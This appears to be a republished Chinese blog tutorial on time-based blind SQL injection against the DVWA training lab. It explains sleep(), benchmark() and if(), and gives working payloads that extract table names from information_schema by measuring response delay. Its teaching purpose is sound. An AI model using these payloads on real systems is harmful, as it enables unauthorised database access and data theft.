DVWA SQL Injection(Blind)

Posted Butterflier

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DVWA SQL Injection(Blind)相关的知识,希望对你有一定的参考价值。

时间盲注

上回我们介绍的是布尔盲注,通过返回结果的 True 与 False 来判断条件是否为真,逐步破解出目标内容;如果没有明显的 True 与 False 回显那么就十分难分辨目标条件的真伪,此时我们可以借助逻辑与或逻辑非的短路特性或者 if 函数,配合 sleep 或 benchmark 等执行时间长的函数,通过页面响应时间来判断目标条件是否为真或假

Demo

  • if(condition, ret_true, ret_false): 如果条件为真,则返回 ret_true 否则返回 ret_false
  • sleep(n) 使数据库查询程序挂起 n 秒,延长执行时间
  • benchmark(n, expression) 表示对目标表达式 expression 执行 n 次; 此时表达式会选择大计算量的操作,如哈希 MD5() 以实现延迟效果
?id=2\' and ascii(
    substr(
        (select table_name from information_schema.tables where table_schema=database() limit 0, 1), 1, 1
    ) 
) >= 97 and sleep(3) -- -

可以看出查询用了 3s 的时间,代表前面的条件均为真

?id=2\' and ascii(
    substr(
        (select table_name from information_schema.tables where table_schema=database() limit 0, 1), 1, 1
    ) 
) <= 97 and sleep(3) -- -

改变为对立条件后,查询时间仅为 6ms,因此时间盲注测试成功

?id=2\' and if(
    ascii(
    substr(
        (select table_name from information_schema.tables where table_schema=database() limit 0, 1), 1, 1
    ) 
) >= 97, benchmark(10000000, md5(1000000)), 1) -- -

if 与 benchmark 也能够被利用进行时间盲注

具体的破解方法和之间提到的一致,大家可以自行尝试啦~

Ref

推荐一个超详细的博客:DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

以上是关于DVWA SQL Injection(Blind)的主要内容,如果未能解决你的问题,请参考以下文章

DVWA——SQL Injection Blind(SQL盲注)

low security dvwa--SQL Injection(Blind)

DVWASQL Injection(Blind)SQL盲注 Low Medium High Impossible

Security ❀ SQL Injection (Blind) SQL盲注

BTS PenTesting Lab-Injection-sql injection-blind sqli1

Blind SQL injection:盲注详解